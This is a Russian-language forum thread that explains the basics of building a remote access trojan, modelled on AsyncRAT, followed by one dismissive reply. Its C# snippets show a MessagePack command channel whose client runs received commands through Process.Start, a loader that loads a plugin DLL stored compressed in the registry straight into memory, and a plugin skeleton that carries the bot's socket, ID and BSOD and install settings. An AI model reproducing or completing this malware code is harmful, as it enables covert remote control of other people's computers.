Загрузка...

Как создать свой ратник (ОСНОВЫ, А НЕ ГАЙД)

Тема в разделе C# создана пользователем Dead__Artis 13 мар 2022. 1755 просмотров

  1. Dead__Artis
    Dead__Artis Автор темы 13 мар 2022 921 30 май 2020
    всем привет, начнем с того как работает ратник буду объяснять на примере (async rat)
    у данного ратника есть
    сервер (панель)
    затем listview при созданий item мы в Tag пихаем экземпляр класса client (наш сокет с клиентом(ботом,юзером,зомби))
    для того чтобы отправить команды ратник использует MessagePack в который мы можем поместить команды байты и тп
    чтобы выбрать пользователя ратник получает выбранные нами теги то есть selected item и получает тег как объект класса client
    затем вызывает метод client.send(msgpack.Encode2Bytes()); данный метод отправляет byte[] клиенту который их превращает в MessagePack
    и так как же использовать данный MessagePack
    Код
    //создаем экземпляр класса MessagePack
    MessagePack msgpack = new MessagePack();
    //Pac_ket это название нашего объекта в который мы помещаем все что угодно значение стринг или байты
    msgpack.ForcePathObject("Pac_ket").SetAsString("cmd");
    //cmd это команда для нашего заголовка то есть ратник считывает что в Pac_ket и через switch открывает наши заголовки
    msgpack.ForcePathObject("command").SetAsString("start cmd.exe");


    //на стороне клиента при получений сообщения выглядит так
    if(msgpack.ForcePathObject("Pac_ket").GetString()=="cmd"){
    Process.Start(msgpack.ForcePathObject("command").GetString());
    //думаю тут понятно как оно работает
    }
    у ратника есть плагины которые он запускает в runpe и передает ему байты msgpack который плагин уже обрабатывает

    C#
    private static void Invoke(MsgPack unpack_msgpack)
    {
    Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("DLL").AsString)));
    Type type = assembly.GetType("Plugin.Plugin"); //Plugin это класс и namespace
    dynamic instance = Activator.CreateInstance(type);
    //instance.Run() название нашего метода который должен быть не статичным в него мы суем аргументы которые должны быть в плагине и так же через MessagePack мы толкаем туда байты такого же экземпляра MessagePack который он уже обработает толкаем сокет с которым он будет подключен чтобы получать команды
    instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("MessagePack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BSOD, Settings.Install);
    Received();
    }
    //этот кусок кода скопировал у себя с ратки

    //пример как выглядит плагин

    namespace Plugin
    {
    public class Plugin
    {
    public static Socket Socket;
    //тут мы видим наши аргументы которые мы передовали
    public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bsod, string install)
    {
    Debug.WriteLine("Plugin Invoked");
    Socket = socket;
    Connection.ServerCertificate = certificate;
    Connection.Hwid = hwid;
    new Thread(() =>
    {
    //стартуем наш сокет
    Connection.InitializeClient();
    }).Start();
    //если нету подключения наш плагин просто завершает цикл
    while (Connection.IsConnected)
    {
    Thread.Sleep(1000);
    }
    }
    }
    }
    //ратка отправляет byte[] dll плагина и сохраняет их в реестре и от туда вытаскивает и запускает
    //в плагине есть класс Packet если вы зайдете туда вы поймете о чем я писал о switch
    потом может еще напишу об этом ратнике и как они работают покамись я вам рассказал об основе того как он передает инфу и плагины и как они работают
    тему писал на тяп ляп не судить строго
     
  2. dzh1gurd4
    dzh1gurd4 15 мар 2022 14 14 май 2019
    Тема бесполезна, ты ни о чем не рассказал. Все настолько плохо, что даже если убрать все твое сочинение и оставить только код, содержательность темы не изменится от слова совсем. Одним словом видно, что ты не разбираешься в теме
     
Загрузка...
Top